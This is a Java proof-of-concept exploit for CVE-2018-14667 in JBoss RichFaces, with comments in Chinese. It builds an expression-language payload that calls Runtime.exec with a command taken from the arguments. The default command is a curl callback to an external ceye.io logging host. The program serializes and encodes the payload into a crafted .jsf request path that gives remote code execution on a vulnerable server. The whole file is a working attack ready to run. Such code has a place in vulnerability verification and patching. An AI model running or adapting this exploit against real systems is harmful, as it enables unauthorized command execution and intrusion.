package com.venscor.poc;

import com.sun.faces.facelets.el.TagValueExpression;
import com.sun.faces.facelets.tag.TagAttributeImpl;
import org.ajax4jsf.util.base64.Codec;
import org.jboss.el.MethodExpressionImpl;
import org.jboss.el.ValueExpressionImpl;

import javax.el.MethodExpression;
import javax.faces.FacesException;
import javax.faces.context.FacesContext;
import javax.faces.view.Location;
import javax.faces.view.facelets.TagAttribute;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutput;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Date;
import java.util.zip.Deflater;

public class CVE_2018_14667_Poc2 {
    private static Codec codec = new Codec();

    protected static byte[] encrypt(byte[] src) {
        try {
            Deflater compressor = new Deflater(1);
            byte[] compressed = new byte[src.length + 100];
            compressor.setInput(src);
            compressor.finish();
            int totalOut = compressor.deflate(compressed);
            byte[] zipsrc = new byte[totalOut];
            System.arraycopy(compressed, 0, zipsrc, 0, totalOut);
            compressor.end();
            return codec.encode(zipsrc);
        } catch (Exception var6) {
            throw new FacesException("Error encode resource data", var6);
        }
    }

    public static void main(String[] args) throws Exception {
        // 要执行的 EL 表达式
        String cmd;
        if (args ==null || args[0] == null || args[0].equals("")) {
            cmd = "curl CVE_2018_14667.9y4m0k.ceye.io";
        } else {
            cmd = args[0];
        }
        String poc = "#{request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"" + cmd +
                "\")}";
        // 反射获得 UriData
        Class cls = Class.forName("org.ajax4jsf.resource.UserResource$UriData");
        Constructor constructor = cls.getDeclaredConstructors()[0];
        constructor.setAccessible(true);
        Object obj = constructor.newInstance();


        Location location = new Location("/richfaces/mediaOutput/examples/jpegSample.xhtml", 0, 0);

        // 将 exp 赋值给 UriData 的 createContent 属性
        Class StateHolderSaver = Class.forName("javax.faces.component.StateHolderSaver");
        Constructor ct = StateHolderSaver.getDeclaredConstructor(FacesContext.class, Object.class);
        TagAttribute tag = new TagAttributeImpl(location, "", "", "just", "modified="+poc);
        ValueExpressionImpl ve = new ValueExpressionImpl(poc+" modified", null, null, null, Date.class);
        TagValueExpression tagValueExpression = new TagValueExpression(tag, ve);
        ct.setAccessible(true);
        Object modified = ct.newInstance(null, tagValueExpression);

        setFieldValue(obj, "modified", modified);


        // 序列化对象
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutput output = new ObjectOutputStream(byteArrayOutputStream);
        output.writeObject(obj);
        // 加密字符串
        byte[] result = encrypt(byteArrayOutputStream.toByteArray());
        System.out.println("/" + new String(result, "ISO-8859-1") + ".jsf");
    }


    public static Object setFieldValue(Object obj, String fieldName, Object fieldValue) throws Exception {
        if (obj == null) {
            return obj;
        }
        Class userCla = obj.getClass();
        do {
            Field[] fs = userCla.getDeclaredFields();
            for (int i = 0; i < fs.length; i++) {
                Field f = fs[i];
                f.setAccessible(true); //设置些属性是可以访问的
                if (f.getName().equals(fieldName)) {
                    f.set(obj, fieldValue);
                    return obj;
                }
            }
            userCla = userCla.getSuperclass();
        } while (userCla != null);
        return obj;
    }
}